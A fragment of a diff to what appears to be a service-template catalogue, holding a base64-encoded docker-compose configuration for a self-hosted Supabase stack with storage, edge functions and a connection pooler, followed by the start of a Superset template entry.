ICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVNTV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==", "tags": [ "firebase", "alternative", @@ -4102,7 +4102,7 @@ "superset-with-postgresql": { "documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io", "slogan": "Modern data exploration and visualization platform (unofficial community docker image)", - "compose": 